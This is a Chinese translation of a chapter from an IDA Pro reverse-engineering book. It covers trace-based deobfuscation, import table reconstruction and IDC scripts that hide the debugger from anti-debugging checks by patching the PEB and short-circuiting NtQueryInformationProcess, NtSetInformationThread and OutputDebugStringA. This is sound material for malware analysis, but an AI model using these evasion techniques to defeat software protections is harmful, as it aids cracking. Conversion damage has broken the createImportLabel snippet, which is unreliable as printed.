if GetEventEa() < start: break
code = GetDebuggerEvent(WFNE_ANY | WFNE_CONT, −1)
PauseProcess()
GetDebuggerEvent(WFNE_SUSP, −1)
EnableTracing(TRACE_STEP, 0)
MakeCode(GetEventEa())
TakeMemorySnapshot(1)


与 示例 25-1 中的脚本类似,这个脚本应该从反汇编器而不是调试器启动,并且再次假设已经选择了调试器。脚本处理启动调试器和获取新创建进程所需控制权的细节。这个特定的脚本有两个假设:即入口点之前的所有代码都是混淆的,并且在将控制权转移到入口点之前的地址之前没有发生恶意行为。脚本首先启动调试器,并在程序入口点暂停 ![http://atomoreilly.com/source/nostarch/images/854061.png]。接下来,程序启用单步跟踪 ![http://atomoreilly.com/source/nostarch/images/854063.png] 并循环测试每个生成事件的地址 ![http://atomoreilly.com/source/nostarch/images/854093.png]。一旦事件地址在程序入口点地址之前,就假设解混淆已完成,进程被暂停 ![http://atomoreilly.com/source/nostarch/images/854095.png] 并且单步跟踪被禁用 ![http://atomoreilly.com/source/nostarch/images/854099.png]。最后,为了保险起见,脚本确保当前指令指针位置的字节格式化为代码 ![http://atomoreilly.com/source/nostarch/images/854101.png]。

当您通过去混淆代码进行单步调试时,遇到图 25-5 中显示的警告并不罕见。

![调试器指令指针警告](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854405.png.jpg)

图 25-5. 调试器指令指针警告

这个警告表明指令指针指向了 IDA 认为是数据的项目,或者指令指针指向了之前已反汇编指令的中间部分。当单步执行使用反汇编不同步技术的代码时,经常会遇到这种警告。它也经常在程序跳转到曾经是数据现在是代码的区域时遇到,例如在程序去混淆之后。回答“是”会导致 IDA 重新格式化相关字节作为代码,这应该是正确的做法,因为指令指针表明这是下一个要取来执行的项目。

注意,由于使用了步骤跟踪,示例 25-2 中的脚本将比 示例 25-1 中的脚本慢得多。然而,以牺牲执行速度为代价,我们获得了一些优势。首先,我们能够指定一个与任何特定地址无关的终止条件。单独使用断点时这是不可能的。其次,这个脚本对任何试图使反汇编器不同步的尝试都具有免疫力,因为指令边界完全是基于指令指针的运行时值而不是静态反汇编分析来确定的。在介绍脚本调试功能的公告中^([232]),Hex-Rays 展示了一个执行通用解包器任务的脚本,其鲁棒性要高得多。

## 导入表重建

一旦二进制文件被去混淆,就可以开始对该二进制文件进行分析。虽然我们可能永远不会意图执行去混淆的程序(实际上,如果直接将快照拉入 IDA 数据库,我们无法执行该程序),但一个程序的导入表通常是了解程序行为的一个宝贵资源。

在正常情况下,IDA 能够在创建初始数据库时,作为文件加载过程的一部分解析程序的导入表。不幸的是,在混淆程序中,IDA 在加载时看到的唯一导入表属于程序的解混淆组件。这个导入表通常只包含完成解混淆过程所需的最基本的函数。最复杂的混淆器可能会生成空的导入表,在这种情况下,解混淆组件必须包含加载库和自行解析所需函数的所有必要代码。

至于被混淆的二进制文件,在大多数情况下,其导入表也被混淆,并在解混淆过程中以某种形式重建。重建过程通常依赖于新解混淆的数据来执行自己的库加载和函数地址解析。对于 Windows 程序,这几乎总是涉及到对`LoadLibrary`函数的调用,以及重复调用`GetProcAddress`来解析所需的函数地址。

更复杂的导入表重建例程可能会使用自定义查找函数代替`GetProcAddress`,以避免触发对`GetProcAddress`本身的任何断点设置。这些例程还可能用哈希值代替字符串来识别请求的是哪个函数的地址。在罕见的情况下,导入表重建器甚至可能绕过`LoadLibrary`,在这种情况下,重建例程必须实现该函数的自己的自定义版本。

导入表重建过程的净结果是通常是一个函数地址表,在静态分析环境中,这些地址几乎都没有什么意义。如果我们对某个进程进行内存快照,我们可能得到的最好结果就像以下部分列表:

UPX1:0040A000 dword_40A000 dd 7C812F1Dh ; DATA XREF: start+1↓o
UPX1:0040A004 dword_40A004 dd 7C91043Dh ; DATA XREF: sub_403BF3+68↑r
UPX1:0040A004 ; sub_405F0B+2B4↑r ...
UPX1:0040A008 dd 7C812ADEh
UPX1:0040A00C dword_40A00C dd 7C9105D4h ; DATA XREF: sub_40621F+5D↑r
UPX1:0040A00C ; sub_4070E8+F↑r ...
UPX1:0040A010 dd 7C80ABC1h
UPX1:0040A014 dword_40A014 dd 7C901005h ; DATA XREF: sub_401564+34↑r
UPX1:0040A014 ; sub_4015A0+27↑r ...


这块数据表示了一组紧密相邻的 4 字节值,这些值在程序中的多个位置被引用。问题是这些值,例如 `7C812F1Dh`,代表了在调试过程中映射的库函数的地址。在程序本身的代码部分,我们会看到类似以下的函数调用:

UPX0:00403C5B call ds:dword_40A004
UPX0:00403C61 test eax, eax
UPX0:00403C63 jnz short loc_403C7B
UPX0:00403C65 call sub_40230F
UPX0:00403C6A mov esi, eax
UPX0:00403C6C call ds:dword_40A058


注意,其中两个函数调用(![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 和 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png))指的是重建的导入表的内容,而第三个函数调用 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png) 指的是数据库中存在的函数体。在理想的世界里,重建的导入表中的每一项都应该以包含其地址的函数命名。

在对去混淆过程进行内存快照之前,最好解决此问题。如图所示,如果我们从调试器内部查看相同的内存范围,我们会得到一个完全不同的画面。由于调试器可以访问每个引用函数所在的内存区域,因此调试器能够显示地址(例如 `7C812F1Dh`)及其对应的符号名称(在这种情况下为 `kernel32_GetCommandLineA`)。

UPX1:0040A000 off_40A000 dd offset kernel32_GetCommand
LineA ; DATA XREF:UPX0:loc_40128F↑r
UPX1:0040A000 ; start+1↓o
UPX1:0040A004 off_40A004 dd offset ntdll_RtlFreeHeap ; DATA XREF:
UPX0:004011E4↑r
UPX1:0040A004 ; UPX0:0040120A↑r ...
UPX1:0040A008 off_40A008 dd offset kernel32_GetVersionExA ; DATA
XREF: UPX0:004011D4↑r
UPX1:0040A00C dd offset ntdll_RtlAllocateHeap ; DATA
XREF: UPX0:004011B3↑r
UPX1:0040A00C ; sub_405E98+D↑r ...
UPX1:0040A010 off_40A010 dd offset kernel32_GetProcessHeap ; DATA
XREF: UPX0:004011AA↑r
UPX1:0040A014 dd offset ntdll_RtlEnterCriticalSection ; DATA XREF: sub_401564+34↑r
UPX1:0040A014 ; sub_4015A0+27↑r ...


值得注意的是,此时调试器采用的命名方案与我们习惯的略有不同。调试器将所有从共享库导出的函数名称前缀为关联库的名称,后跟一个下划线。例如,*kernel32.dll* 中的函数 `GetCommandLineA` 被分配名称 `kernel32_GetCommandLineA`。这确保了如果两个库导出相同的名称,将生成唯一的名称。

我们需要克服前面列表中导入表的两个问题。首先,为了使函数调用更易于阅读,我们需要根据引用的函数为导入表中的每个条目命名。如果条目被正确命名,IDA 将自动从其类型库中显示函数签名。只要我们有名字可以分配,命名每个导入表条目相对容易。这导致第二个问题:获取正确的名称。一种方法是从调试器生成的名称中解析,去掉库名称,并将剩余的文本作为导入表条目的名称。这种方法唯一的问题是库名称和函数名称都可能包含下划线字符,这使在某些情况下难以确定较长名称字符串中函数名称的确切长度。认识到这个困难,尽管如此,这种方法仍然是随 IDA 一起提供的 *renimp.idc* 导入表重命名脚本(位于 *<IDADIR>/idc*)所采用的方法。

为了使此脚本正确执行,必须在调试器活动时运行它(以便它能够访问已加载的库名称),并且我们必须能够定位去混淆二进制文件中的重建导入表。确定重建导入表将位于何处的一种策略是跟踪对 `GetProcAddress` 的调用,并注意结果存储到内存中的位置。示例 25-3 展示了 UPX 用于调用 `GetProcAddress` 并存储结果的代码。

示例 25-3. UPX 代码用于解析和存储导入函数地址

UPX1:00408897 call dword ptr [esi+8090h]
UPX1:0040889D or eax, eax
UPX1:0040889F jz short loc_4088A8
UPX1:004088A1 mov [ebx], eax
UPX1:004088A3 add ebx, 4


在![图片链接](http://atomoreilly.com/source/nostarch/images/854061.png)处发生对`GetProcAddress`的调用,结果存储在![图片链接](http://atomoreilly.com/source/nostarch/images/854063.png)处的内存中。在![图片链接](http://atomoreilly.com/source/nostarch/images/854063.png)处记录`ebx`寄存器中的值将告诉我们导入表的位置。在![图片链接](http://atomoreilly.com/source/nostarch/images/854093.png)处,`ebx`寄存器向前推进四个字节,为函数解析循环的下一迭代做准备。

一旦我们找到了重建的导入表,*renimp.idc*要求我们通过从表头到表尾的点击和拖动操作突出显示表的内容。*renimp.idc*脚本遍历选择区域,获取引用函数的名称,移除库名称前缀,并相应地命名导入表条目。执行此脚本后,之前显示的导入表转换为以下导入表:

UPX1:0040A000 ; LPSTR __stdcall GetCommandLineA()
UPX1:0040A000 GetCommandLineA dd offset kernel32_GetCommandLineA
UPX1:0040A000 ; DATA XREF: UPX0:loc_40128F↑r
UPX1:0040A000 ; start+1↓o
UPX1:0040A004 RtlFreeHeap dd offset ntdll_RtlFreeHeap ; DATA XREF: UPX0:004011E4↑r
UPX1:0040A004 ; UPX0:0040120A↑r ...
UPX1:0040A008 ; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation)
UPX1:0040A008 GetVersionExA dd offset kernel32_GetVersionExA ; DATA
XREF: UPX0:004011D4↑r
UPX1:0040A00C RtlAllocateHeap dd offset ntdll_RtlAllocateHeap ; DATA
XREF: UPX0:004011B3↑r
UPX1:0040A00C ; sub_405E98+D↑r ...
UPX1:0040A010 ; HANDLE __stdcall GetProcessHeap()
UPX1:0040A010 GetProcessHeap dd offset kernel
32_GetProcessHeap ; DATA XREF: UPX0:004011AA↑r
UPX1:0040A014 RtlEnterCriticalSection dd offset ntdll_RtlEnterCriticalSection
UPX1:0040A014 ; DATA XREF: sub_401564+34↑r
UPX1:0040A014 ; sub_4015A0+27↑r ...


我们看到脚本已经完成了每个导入表条目的重命名工作,但 IDA 为 IDA 所知的每个函数类型添加了函数原型。请注意,如果从每个函数名称中移除了库名称前缀,则不会显示任何类型信息。当函数所在的模块名称包含下划线时,`*renimp.idc*`脚本可能无法正确提取导入函数名称。`ws2_32`网络库是一个著名的例子,其名称恰好包含下划线。在`*renimp.idc*`中,对`ws2_32`的特殊处理发生;然而,任何名称包含下划线的其他模块都可能导致`*renimp.idc*`错误地解析函数名称。

当单个指令负责存储所有解析的函数地址时,例如示例 25-3 中 UPX 所做的那样,可以采用重命名导入表条目的另一种方法。如果可以识别出这样的指令,例如列表中的![图片链接](http://atomoreilly.com/source/nostarch/images/854063.png)处的指令,那么我们可以利用 IDA 中断点条件使用 IDC 语句指定的这一事实。在这种情况下,我们可以在地址`004088A1`处设置一个条件断点,并使条件表达式调用我们定义的函数。在这里,我们命名该函数为`createImportLabel`,并定义如下:

static createImportLabel() {
auto n = Name(EAX);
auto i = strstr(n, "");
while (i != −1) {
n = n[i+1:];
i = strstr(n, "
");
}
MakeUnkn(EBX,DOUNK_EXPAND);
MakeDword(EBX);
if (MakeNameEx(EBX,n,SN_NOWARN) == 0) {
MakeNameEx(EBX,n + "_",SN_NOWARN);
}
return 0;
}


此函数首先查询由 EAX 引用的名称。回想一下,EAX 包含对`GetProcAddress`的调用结果,因此应该指向某个 DLL 中的函数。接下来,函数循环以截断名称,只保留原始名称中找到的最后一个下划线之后的那个部分。最后,通过一系列函数调用,将目标位置(由 EBX 引用)正确格式化为一个 4 字节数据项,并给该位置应用一个名称。通过返回零,函数通知 IDA 该断点不应被尊重,结果是执行继续而不会暂停。

在第二十四章中,我们讨论了如何在 IDA 的调试器中指定断点条件。将用户定义的函数作为断点处理程序安装并不像设置和编辑断点以及将`createImportLabel()`作为断点条件那样简单直接。虽然这正是我们希望在此情况下输入的条件,但问题是,从 IDA 的角度来看,`createImportLabel`是一个未定义的函数。解决这个问题的方法是创建一个包含我们的函数以及一个简单的`main`函数的脚本文件(IDC 按定义),该`main`函数看起来如下所示:

static main() {
AddBpt(ScreenEA());
SetBptCnd(ScreenEA(), "createImportLabel()");
}


将光标放在你想要设置断点的指令上,然后运行此脚本(文件 ▸ 脚本文件),结果是在每次命中时调用`createImportLabel`的条件断点。`AddBpt`函数 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png) 在指定位置(在这种情况下是光标位置)添加一个断点,而`SetBptCnd`函数 ![](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png) 向现有的断点添加一个条件。条件被指定为一个字符串,包含每次断点命中时评估的 IDC 语句。有了这个断点,一旦反混淆完成,我们就不必费心在进程的内存空间中定位表,就可以拥有一个带有标签的导入表。

另一种获取名称信息的方法是搜索与函数地址关联的文件头,然后解析这些头文件中描述的导出表以找到引用的函数名称。这本质上是在给定函数地址的情况下对函数名称的反向查找。基于这个概念编写的脚本(*RebuildImports.idc/RebuildImports.py*)可在本书的网站上找到。这两个脚本中的任何一个都可以替代*renimp.idc*执行,几乎得到相同的结果。*renimp.idc*在处理包含下划线字符的模块名称时遇到的问题被避免了,因为函数名称是直接从进程地址空间中存在的导出表中提取的。

正确命名每个导入表条目的效果会传递到反汇编本身,如下面的自动更新的反汇编列表所示:

UPX0:00403C5B call ds:RtlFreeHeap
UPX0:00403C61 test eax, eax
UPX0:00403C63 jnz short loc_403C7B
UPX0:00403C65 call sub_40230F
UPX0:00403C6A mov esi, eax
UPX0:00403C6C call ds:RtlGetLastWin32Error


每个重命名导入表条目的名称都会传播到所有调用导入函数的位置,这使得反汇编代码更加易于阅读。值得注意的是,你在调试器内进行的工作中的任何格式更改都会自动应用到数据库视图中。换句话说,你不需要仅仅为了捕获所做的格式更改而采取内存快照。内存快照的目的是将进程地址空间中的内存内容(代码和数据)迁移回 IDA 数据库。

## 隐藏调试器

防止使用调试器作为去混淆工具的一种流行方法是*调试器检测*。混淆工具的作者就像你一样明白调试器对于撤销他们的工作是有用的。作为回应,他们通常会采取措施防止他们的工具在检测到调试器的情况下运行。我们在第二十一章中讨论了几种调试器检测方法。正如第二十一章中提到的,Nicolas Falliere 的文章“Windows Anti-Debug Reference”^([233])对许多针对 Windows 的检测调试器存在的技术进行了很好的总结。你可以通过使用一个简单的脚本来启动你的调试器会话并自动配置一些断点来对抗这些检测技术。虽然可以使用 Python 来对抗这些技术中的一些,但我们将最终使用条件断点,这只能使用 IDC 来指定。因此,以下示例代码都是用 IDC 编写的。

为了从脚本中启动调试会话,我们首先编写以下代码:

auto n;
for (n = 0; n < GetEntryPointQty(); n++) {
auto ord = GetEntryOrdinal(n);
if (GetEntryName(ord) == "TlsCallback_0") {
AddBpt(GetEntryPoint(ord));
break;
}
}
RunTo(BeginEA());
GetDebuggerEvent(WFNE_SUSP, −1);


这些语句检查 TLS 回调函数的存在,如果找到则设置断点,然后启动调试器,在等待操作完成之前请求在入口点地址处中断(严格来说,我们还应该测试`GetDebuggerEvent`的返回值)。一旦我们的脚本恢复控制,我们就有一个活动的调试器会话,我们想要调试的进程及其依赖的所有库都会映射到内存中。

我们将绕过的第一个调试器检测是进程环境块(PEB)中的 `IsDebugged` 字段。这是一个 1 字节字段,如果进程正在被调试,则设置为值 1,否则为 0。该字段位于 PEB 的 2 字节处,因此我们只需要找到 PEB 并修补适当的字节为值 0。这也恰好是 Windows API 函数 `IsDebuggerPresent` 测试的字段,因此在这种情况下我们一石二鸟。如果我们知道我们已经停止在程序入口点而不是 TLS 回调中,那么定位 PEB 就变得相当简单,因为 EBX 寄存器在进程进入时包含对 PEB 的指针。如果进程停止在 TLS 回调函数中,那么我们需要一种更通用的方法来找到 PEB。我们将采取类似于在 shellcode 和混淆器中经常使用的方法。基本思想是定位当前的 *线程信息块(TIB)*^([234]) 并跟随一个嵌入的指针找到 PEB。以下代码定位 PEB 并执行适当的修补:

auto seg;
auto peb = 0;
auto tid = GetCurrentThreadId();
auto tib = sprintf("TIB[%08X]", tid); //IDA naming convention
for (seg = FirstSeg(); seg != BADADDR; seg = NextSeg(seg)) {
if (SegName(seg) == tib) {
peb = Dword(seg + 0x30); //read PEB pointer from TIB
break;
}
}
if (peb != 0) {
PatchDbgByte(peb + 2, 0); //Set PEB!IsDebugged to zero
}


注意,`PatchDbgByte` 函数是在 IDA 5.5 版本中引入的。当与 IDA 5.5 之前的版本一起使用时,`PatchByte` 将会工作,但如果指定的地址存在于数据库中,它也会修改(修补)数据库。

Falliere 文章中提到的另一种反调试技术涉及测试 PEB 中名为 `NtGlobalFlags` 的另一个字段中的几个位。这些位与进程堆的运行相关,当进程正在被调试时设置为 1。假设变量 `peb` 从上一个示例中保持设置,以下代码从 PEB 中检索 `NtGlobalFlags` 字段,重置有问题的位,并将标志存储回 PEB。

globalFlags = Dword(peb + 0x68) & ~0x70; //read and mask PEB.NtGlobalFlags
PatchDword(peb + 0x68, globalFlags); //patch PEB.NtGlobalFlags


Falliere 文章中提到的几种技术依赖于系统函数在调试进程时返回的信息差异,与未调试进程时返回的信息差异。文章中提到的第一个函数是 `NtQueryInformationProcess`,位于 `ntdll.dll` 中。使用此函数,进程可以请求有关其 `ProcessDebugPort` 的信息。如果进程正在被调试,则结果非零;如果未调试,则结果应为零。避免以这种方式检测的一种方法是在 `NtQueryInformationProcess` 上设置断点,然后指定一个断点条件函数来过滤掉 `ProcessDebugPort` 请求。为了自动定位此指令,我们采取以下步骤:

1.  查找 `NtQueryInformationProcess` 的地址。

1.  在 `NtQueryInformationProcess` 上设置断点。

1.  添加一个断点条件来调用我们将命名的函数 `bpt_NtQueryInformationProcess`,该函数将在每次调用 `NtQuery-InformationProcess` 时执行。

为了找到`NtQueryInformationProcess`的地址,我们需要记住在调试器中该函数将被命名为`ntdll_NtQueryInformationProcess`。配置必要的断点的代码如下:

func = LocByName("ntdll_NtQueryInformationProcess");
AddBpt(func);
SetBptCnd(func, "bpt_NtQueryInformationProcess()");


剩下的工作是为我们实现一个断点函数,该函数将使调试器对询问进程保持隐藏。`NtQueryInformationProcess`的原型如下所示:

NTSTATUS WINAPI NtQueryInformationProcess(
__in HANDLE ProcessHandle,
__in PROCESSINFOCLASS ProcessInformationClass,
__out PVOID ProcessInformation,
__in ULONG ProcessInformationLength,
__out_opt PULONG ReturnLength
);


通过在`ProcessInformationClass`参数中提供一个整数查询标识符来请求进程信息 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)。信息通过由`ProcessInformation`参数指向的用户提供的缓冲区返回 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png)。调用者可以通过传递枚举常量`ProcessDebugPort`(值为 7)来查询给定进程的调试状态。如果进程正在由用户空间调试器调试,则通过提供的指针传递的返回值将非零。如果进程没有被调试,则返回值将为零。以下是一个始终将`ProcessDebugPort`返回值设置为零的断点函数示例:

define ProcessDebugPort 7

static bpt_NtQueryInformationProcess() {
auto p_ret;
if (Dword(ESP + 8) == ProcessDebugPort) {//test ProcessInformationClass
p_ret = Dword(ESP + 12);
if (p_ret) {
PatchDword(p_ret, 0); //fake no debugger present
}
EIP = Dword(ESP); //skip function, just return
ESP = ESP + 24; //stdcall so clear args from stack
EAX = 0; //signifies success
}
return 0; //don't pause at the breakpoint
}


请记住,每次调用`NtQueryInformationProcess`时都会调用此函数。进入时,栈指针指向保存的返回地址,该地址位于`NtQueryInformationProcess`的五个参数之上。断点函数首先检查`ProcessInformation-Class`的值以确定调用者是否请求`ProcessDebugPort`信息 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854061.png)。如果调用者请求`ProcessDebugPort`,函数将继续通过检索返回值指针 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854063.png),检查它是否非空 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854093.png),并最终将返回值存储为零 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854095.png),使其看起来没有调试器附加。为了跳过函数的其余部分,然后通过读取保存的返回地址 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854099.png) 修改 EIP,之后调整 ESP 以模拟`stdcall`返回 ![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854101.png)。"NtQueryInformationProcess"返回一个 NTSTATUS 代码,在返回之前将其设置为 0(成功)![图片链接](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854103.png)。

Falliere 文章中提到的另一个函数是`NtSetInformation-Thread`,它也位于`ntdll.dll`中。此函数的原型如下所示:

NTSTATUS NtSetInformationThread(
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
IN PVOID ThreadInformation,
IN ULONG ThreadInformationLength
);


反调试技术涉及在`ThreadInformationClass`参数中传递`ThreadHideFromDebugger`的值,这将导致线程从调试器中分离。绕过此技术涉及与上一个示例相同的基本设置。结果设置代码如下:

func = LocByName("ntdll_NtSetInformationThread");
AddBpt(func); //break at function entry
SetBptCnd(func, "bpt_NtSetInformationThread()");


相关的断点函数如下所示:

define ThreadHideFromDebugger 0x11

static bpt_NtSetInformationThread() {
if
(Dword(ESP + 8) == ThreadHideFromDebugger) {//test ThreadInformationClass
EAX = 0; //STATUS_SUCCESS
EIP = Dword(ESP); //just return
ESP = ESP + 20; //simulate stdcall
}
return 0;
}


在进入时,我们测试`ThreadInformationClass`参数的值 ![图片链接](http://atomoreilly.com/source/nostarch/images/854061.png),如果用户指定了`ThreadHideFromDebugger`,则绕过函数体。绕过函数体是通过设置我们期望的返回值 ![图片链接](http://atomoreilly.com/source/nostarch/images/854063.png) 并通过从堆栈中读取保存的返回地址来修改指令指针 ![图片链接](http://atomoreilly.com/source/nostarch/images/854093.png)。我们通过调整 ESP 20 个字节来模拟`stdcall`返回 ![图片链接](http://atomoreilly.com/source/nostarch/images/854095.png)。

我们将要讨论的最后一个函数,其作为反调试技术的使用也在 Falliere 的文章中讨论过,是来自`kernel32.dll`的`OutputDebugStringA`。此函数的原型如下所示:

void WINAPI OutputDebugStringA(
__in_opt LPCTSTR lpOutputString
);


在此示例中,`WINAPI`是`_stdcall`的同义词,用于指定`OutputDebugStringA`使用的调用约定。严格来说,此函数没有返回值,如其原型中指定的`void`返回类型;然而,根据文章,当没有调试器附加到调用进程时,此函数“返回”1,如果调用进程附加了调试器,则“返回”作为参数传递的字符串的地址。在正常情况下,返回值的`_stdcall`函数将返回值放在 EAX 寄存器中。由于`OutputDebugStringA`返回时 EAX 必须持有某个值,因此可以认为这是函数的返回值;然而,由于官方返回类型是`void`,没有文档或保证说明在这种情况下 EAX 可能实际持有的值。这种特定的反调试技术仅依赖于函数观察到的行为。解决观察到的返回值变化的一种方法是确保在`OutputDebugStringA`返回时 EAX 包含 1。以下 IDC 代码实现了这种技术:

func = LocByName("kernel32_OutputDebugStringA");
AddBpt(func);
//fix the return value as expected in non-debugged processes
//also adjust EIP and ESP
SetBptCnd(func, "!((EAX = 1) && (EIP = Dword(ESP)) && (ESP = ESP + 8))");


此示例使用与前面示例相同的技巧来自动定位`OutputDebugStringA`函数的结尾。然而,与前面的示例相比,当遇到断点时需要完成的工作足够简单,可以指定在 IDC 表达式中 ![图片链接](http://atomoreilly.com/source/nostarch/images/854061.png)(而不是需要一个专用函数)。在这种情况下,断点表达式修改(注意这是赋值而不是比较)EAX 寄存器,以确保函数返回时它包含 1,并调整 EIP 和 ESP 以绕过函数。断点条件被否定,以导致在所有情况下跳过断点,因为布尔*与*表达式的结果始终预期不为零。

一段脚本(*HideDebugger.idc*),它将本节中展示的所有元素组合成一个有用的工具,可以同时启动调试会话并实施对抗反调试尝试的措施,可在本书的网站上找到。有关隐藏调试器存在的信息,请参阅 Ilfak 的博客,他在博客中介绍了几种隐藏技术.^([235])

* * *

^([230]) 请记住,调试器插入的软件断点指令会导致校验和计算的结果不是预期的结果。

^([231]) 有关线程局部存储 (TLS) 回调函数的更多信息,请参阅 PE 文件格式规范[`msdn.microsoft.com/en-us/windows/hardware/gg463119.aspx`](http://msdn.microsoft.com/en-us/windows/hardware/gg463119.aspx)。

^([232]) 请参阅[`www.hex-rays.com/idapro/scriptable.htm`](http://www.hex-rays.com/idapro/scriptable.htm)。

^([233]) 请参阅[`www.symantec.com/connect/articles/windows-anti-debug-reference/`](http://www.symantec.com/connect/articles/windows-anti-debug-reference/)。

^([234]) 这也被称为*线程环境块 (TEB)*。

^([235]) 请参阅[`www.hexblog.com/2005/11/simple_trick_to_hide_ida_debug.html`](http://www.hexblog.com/2005/11/simple_trick_to_hide_ida_debug.html)、[`www.hexblog.com/2005/11/stealth_plugin_1.html`](http://www.hexblog.com/2005/11/stealth_plugin_1.html)和[`www.hexblog.com/2005/11/the_ultimate_stealth_method_1.html`](http://www.hexblog.com/2005/11/the_ultimate_stealth_method_1.html)。

# IdaStealth

尽管上一节中讨论的*HideDebugger*脚本对于演示与调试器的某些基本程序性交互和库函数钩子的一些基础知识很有用,但已知反调试技术的总数和这些技术的复杂性表明,需要比简单脚本提供的更强大的反反调试功能。幸运的是,IdaStealth 插件旨在满足我们对强大调试器隐藏功能的需求。由 Jan Newger 编写的 IdaStealth 是 Hex-Rays 2009 插件编写大赛的获奖作品。该插件是用 C++编写的,并提供源代码和二进制形式。

| **名称** | IDAStealth |
| --- | --- |
| **作者** | Jan Newger |
| **分发** | C++源代码和二进制 |
| **价格** | 免费 |
| **描述** | Windows 调试器隐藏插件 |
| **信息** | [`www.newgre.net/idastealth/`](http://www.newgre.net/idastealth/) |

IDAStealth 的二进制组件包括一个插件和一个辅助库,这两个组件都需要安装到*<IDADIR>/plugins*目录下。在首次激活时,IDAStealth 会显示如图图 25-6 所示的配置对话框。

![IDAStealth 配置对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854408.png.jpg)

图 25-6. IDAStealth 配置对话框

几个选项卡充满了选项,允许你决定你想采用哪些反反调试技术。一旦激活,IDAStealth 将实现几乎所有已知的调试器检测技术的规避技术,包括在 Falliere 文章中讨论的以及由之前开发的*HideDebugger.idc*脚本解决的问题。

# 处理异常

有时,程序期望处理在执行过程中产生的任何异常。正如我们在第二十一章中看到的,混淆程序往往会故意生成异常,作为反控制流技术和反调试技术的手段。不幸的是,异常通常表明存在问题,而调试器的目的是帮助我们定位问题。因此,调试器通常希望处理程序运行时发生的所有异常,以帮助我们找到错误。

当一个程序期望处理自己的异常时,我们需要防止调试器拦截这些异常,或者至少,一旦异常被拦截,我们需要一种方法让调试器能够根据我们的意愿将异常转发给进程。幸运的是,IDA 的调试器具有在异常发生时传递单个异常或自动传递指定类型所有异常的能力。

自动异常处理通过“调试器”>>“调试器选项”命令进行配置;生成的对话框如图图 25-7 所示。

![调试器设置对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854411.png.jpg)

图 25-7. 调试器设置对话框

除了允许配置多个事件以自动停止调试器以及将多个事件自动记录到 IDA 的消息窗口外,调试器设置对话框还用于配置调试器的异常处理行为。点击“编辑异常”按钮将打开如图图 25-8 所示的异常配置对话框。

![异常配置对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854414.png)

图 25-8. 异常配置对话框

对于调试器所知的每种异常类型,对话框列出了操作系统特定的异常代码、异常的名称、调试器是否会停止进程(`停止/否`),以及调试器是否会处理异常或自动将异常传递给应用程序(`调试器/应用程序`)。异常的主列表和每种异常的处理默认设置包含在`*<IDADIR>/cfg/exceptions.cfg*`中。此外,配置文件还包含在调试器执行进程时发生特定类型异常时要显示的消息。可以通过使用文本编辑器编辑`exceptions.cfg`来更改调试器的默认异常处理行为。在`exceptions.cfg`中,`stop`和`nostop`值用于指示当发生特定异常时,调试器是否应该挂起进程。

异常处理也可以通过编辑异常配置对话框中的单个异常来在会话级别(即,当你打开特定数据库时)进行配置。要修改调试器对特定异常类型的处理行为,请在异常配置对话框中右键单击所需的异常,然后选择**编辑**。图 25-9 显示了生成的异常编辑对话框。

![异常编辑对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854417.png.jpg)

图 25-9. 异常编辑对话框

有两种选项,对应于`*exceptions.cfg*`中的两个可配置选项,可以为任何异常进行配置。首先,可以指定当发生指定类型的异常时,调试器是否应该停止进程,或者是否应该继续执行。请注意:如果同时选择让调试器处理异常,允许进程继续可能会导致无限循环的异常生成。

第二个配置选项允许你决定是否应该将给定的异常类型传递给正在调试的应用程序,以便应用程序有机会使用自己的异常处理器来处理异常。当应用程序的正确操作依赖于执行这些异常处理器时,你应该选择将相关的异常类型传递给应用程序。这在分析如 tElock 实用程序(该实用程序注册了自己的异常处理器)生成的混淆代码时可能需要(如第二十一章混淆代码分析中所述)。

除非你已配置 IDA 继续执行并将特定异常类型传递给应用程序,否则 IDA 将在异常发生时暂停执行并向你报告。如果你选择继续程序的执行,IDA 将显示如图图 25-10 所示的异常处理对话框。

![异常处理对话框](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854420.png.jpg)

